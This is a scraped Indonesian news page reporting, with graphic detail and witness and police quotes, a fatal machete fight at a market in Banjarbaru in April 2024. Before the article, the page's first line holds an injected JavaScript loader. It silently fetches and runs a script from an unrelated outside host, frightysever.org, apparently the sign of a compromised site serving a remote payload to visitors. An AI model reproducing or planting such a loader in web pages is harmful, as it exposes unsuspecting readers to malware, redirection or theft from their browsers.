(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Saling Serang Pakai Parang, R Tewas Penuh Darah di Kawasan Pasar Jumat Ratu Elok


KANALKALIMANTAN.COM, BANJARBARU – Pertikaian berdarah terjadi di kawasan pasar jumat Ratu Elok, Kelurahan Sungai Besar, Kecamatan Banjarbaru Utara, Sabtu (20/4/2024) sore.

Perkelahian berujung maut terjadi antara dua orang lelaki tersulut emosi saling serang menggunakan parang.

Lelaki berinisial R (40), tewas dengan kondisi penuh luka dengan tangan putus kena sabetan parang terduga pelaku berinisial H (60).

Kejadian berdarah disaksikan oleh Mahyuni, teman R yang ada di lokasi sempat ikut melerai pertikaian namun tak berhasil, hingga akhirnya R tewas bersimbah darah.

Baca juga: Mundur Syarat Mutlak ASN yang Maju Pilkada

“Sebelumnya ulun datang ke gudang di lokasi, bercanda-canda sama teman-teman, lalu datanglah R membawa parang. R sempat menunggu di sana sembari bercerita sedang dalam keadaan emosi, kami pun mencoba meredam emosinya,” ujar Mahyuni.

Tak lama kemudian H datang menyusul. R yang sebelumnya sudah diredam emosinya kembali terpancing ketika melihat H datang.

Tanpa pikir panjang, R yang kembali tersulut emosi itu langsung menyerang H yang baru saja datang dengan sebuah sepeda motor.

“Melihat H datang, R langsung menyerang, awalnya kena helm, lalu tebasan kedua ditangkis pakai tangan, jatuh kendaraan, lari lah H, lalu dikejar oleh R,” sambung dia.

Lebih lanjut, dijelaskan Mahyuni peristiwa tangkis menangkis sabetan parang terjadi hingga H jatuh, kemudian kembali diserang dua kali pada bagian kaki oleh R.

Baca juga: Kota Banjarbaru Usia 25, Wali Kota Aditya Urai Angka Capaian di Ibu Kota Kalsel

“Namun masih bisa bangun dan berdiri H, sedangkan kami yang ikut mengejar mencoba melerai mereka,” tuturnya.

H yang sempat bisa berdiri lolos kemudian mengambil parang yang ada di sepeda motor yang sudah disiapkan dari rumah.

“R melihat H membawa parang tadi kaget mau lari sudah, tapi berhasil diserang dua kali pakai parang,” kata dia.

“Lalu R mencoba mundur, namun kembali diserang oleh H sampai tangannya putus, merasa putus tangan mau lari, tapi tidak bisa karena terkait kaki sendiri, baru setelah itu langsung kembali dihabisi oleh H,” cerita Mahyuni yang melihat langsung perkelahian satu lawan satu dengan parang itu.

Dijelaskan Mahyuni posisi R saat dihabisi H tertelungkup hingga berbalik terlentang untuk mencoba minta ampun.

Baca juga: Lonjakan Tinggi Bawang Merah di Pasar Bauntung Banjarbaru, Segini Harganya

“Sudah jar ku sudah, lalu kan habis minta ampun tadi kembali diserang di kepala, kaki tubuh diserang terus, habis itu akhirnya mau berhenti, acilnya R keluar teriak, lalu H berjalan meninggalkan lokasi sambil memegang tangan putus,” sebut dia.

Setelah kejadian itu, H sempat dilarikan ke RSUD Ratu Zalecha karena mengalami luka-luka akibat serangan menangkis parang yang dilakukan R.

“Kalau R setelah ditimpas masih sadar, tapi matanya sudah lain karena mungkin kehabisan darah, keadaan R paling parah di tangan sampai kepala sampai kuping itu terbelah,” jelas dia.

Dirinya menceritakan bahwa beberapa hari sebelum kejadian berdarah itu, H dan R diduga terlibat perselisihan hingga keduanya sama-sama tersulut emosi.

Warga menduga motif perselisihan berasal dari H, yang memang dikenal sebagai lelaki yang suka mencari masalah, suka mencuri hingga bahkan pernah tertangkap warga.

Baca juga: Mayat Dalam Tong Air Kaki di Atas, RFS Diduga Alami Kecelakaan di WC

Sementara itu Kasat Reskrim Polres Banjarbaru, Iptu Zuhri Muhammad, saat dikonfirmasi awak media membenarkan peristiwa perkelahian berujung R itu.

Iptu Zuhri mengatakan personelnya telah melakukan serangkaian penyelidikan.

“Kita sudah mendatangi TKP, melaksanakan pengecekan lapangan, pengecekan kondisi korban di dua rumah sakit berbeda, korban meninggal dunia di RSUD Idaman Banjarbaru dan satunya lagi berada di RSUD Ratu Zalecha Martapura,” Kasat Reskrim Polres Banjarbaru.

Pihak polisi juga telah melakukan pemeriksaan kepada saksi-saksi yang berada di lokasi kejadian.

Untuk perkembangan lebih lanjut, kata dia, akan disampaikan usai proses penyidikan sesuai dengan prosedur dilaksanakan.

“Perkembangan lanjutan akan kami sampaikan lebih lanjut setelah proses penanganan perkar berjalan, dan akan kami rumuskan dalam gelar perkara,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

2 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

5 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

9 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

12 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

14 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

14 jam ago

This website uses cookies.